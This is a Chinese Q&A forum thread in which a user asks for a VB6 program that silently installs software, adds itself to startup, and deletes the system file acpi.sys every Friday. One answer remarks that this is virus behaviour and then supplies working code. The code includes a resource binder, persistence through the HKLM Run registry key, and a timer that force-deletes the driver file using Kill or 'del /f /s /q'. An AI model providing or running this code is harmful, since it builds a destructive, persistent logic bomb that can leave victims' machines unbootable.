VB编写程序

想编写个程序,大概作用是这样的。
打开程序后,只有一个按钮,例如新建VB后,打开只有窗体,然后创建个Command1这个按钮在上面。
按钮作用:
按下以后,自动运行安装程序,比如安装迅雷到C盘Program Files下面
当然,不是只安装某一个程序,而是可以安装很多,是自动安装,而不需要人工守候?请问可以实现嘛?
如果上面的不能实现,看下面的
想新建一个工程,然后无任何图标在窗体上
想让窗体完成删除某文件。但要定时删除,比如说定在星期五全天
要求:建立后打包安装完毕后,此工程会自动运行,并且平时无作用。
二,要求删除c:\windows\system32\drives\acpi.sys这个文件。
窗体建立成EXE文件后,要求是能附随启动项启动。自动运行。
请完全叙述每个步骤。

!!如果完成其中一个,补50分,完成2个补100分!!
要求能在没装VB的机子上使用!
或者是用外接程序打包后安装可以在其他未装VB电脑上使用

首先这个是病毒的特性,楼主准备做病毒
其次随启动项启动,这个基本都会被360拦截到
再次要求能在没装VB的机子上使用! VB本身就是需要VB运行库的

要安装某个程序并不难,把需要用到的文件打包到VB6的资源编辑器中
然后研究以下代码,根据世纪情况修改一些参数

Const FILE_SIZE = 49152 '这是101号资源中的服务端文件1.exe的大小
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim I As Integer, lFile As Long, filesavename As String
On Error Resume Next
iInfoLen = Len(Text1.Text) 'text1中输入字符的长度
filesavename = Text2.Text & ".exe" '打开文本中数据然后保存
If Text1.Text = "" Then
MsgBox "请输入内容"
Exit Sub
End If

bFile = LoadResData(101, "CUSTOM") '读出101号资源
Open filesavename For Binary Access Write As #1
For lFile = 0 To FILE_SIZE - 1 '判断资源大小
Put #1, , bFile(lFile) '输出
Next lFile
For I = 1 To iInfoLen '读出配置信息并追加
bInfo = Asc(Mid(Text1.Text, I, 1)) '转换成ASC格式
Put #1, , bInfo
Next I
Close #1

'Unload Me
MsgBox "您的文件已经生成!"
End Sub '添加工程1.exe为自定义资源,生成即可
'以上代码如果你的看懂,那最好,如果看不懂,我也不知道怎么解释你才能听得懂,实在不行就用下面的方法吧,虽然是下下策

如果上面的资源管编辑用不来,那么只好把需要安装的程序建立一个文件夹
放在VB程序的目录下

然后点击按钮的时候执行
Shell "CMD /C XCOPY 源路径 目标路径"
把软件拷贝的目标路径下了

把所有的文件都释放到应该的地方,然后注册需要用到的dll 这个就不要我多说了
直接 Shell 就行了

第二个问题也不难
最简单的方法就是释放启动文件到
\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
文件夹目录下,这样就可以随系统启动了

然后放上一个time控件,间隔1秒得到现在机器的星期
Format(Date, "dddd")
或者联网判断网络时间(这个比较麻烦我就不说了)
判断 if Format(Date, "dddd")= "Friday" then
符合要求即删除文件
可以用Shell "cmd.exe /c del c:\windows\system32\drives\acpi.sys /f /s /q"
或者Kill "c:\windows\system32\drives\acpi.sys" 都可以

第二个:
建立一个cmd1 名字建立启动项 cmd2 名字 删除启动项 time控件
代码部分

Option Explicit

Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32" Alias "RegSetValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" ( _
ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
lpData As Any, lpcbData As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

Private Sub Command1_Click()
Dim hKey As Long
RegCreateKey HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", hKey
RegSetValueEx hKey, App.EXEName, 0, REG_SZ, ByVal App.Path & "\" & App.EXEName & ".exe", LenB(StrConv(App.Path & "\" & App.EXEName & ".exe", vbFromUnicode)) + 1
RegCloseKey hKey
MsgBox "成功加入启动项", , "提示"
End Sub

Private Sub Command2_Click()
Dim hKey As Long, ret As Long
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", hKey
ret = RegDeleteValue(hKey, App.EXEName)
If ret <> 0 Then
MsgBox "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName & "不存在"
Exit Sub
End If
RegCloseKey hKey
MsgBox "成功删除启动项", vbOKOnly, "提示"
End Sub

Private Sub Form_Load()
Timer1.Interval = 5000 '每5秒尝试一次删除动作
End Sub

Private Sub Timer1_Timer()
If Format(Date, "dddd") = "Friday" Then '判断是否是星期5
Kill "c:\windows\system32\drives\acpi.sys"
'或者
'Shell "cmd.exe /c del /f /s /q c:\windows\system32\drives\acpi.sys"
End If
End Sub
温馨提示:答案为网友推荐,仅供参考
第1个回答  2009-08-29
其实用WINRAR 自解压格式就可以实现
相似回答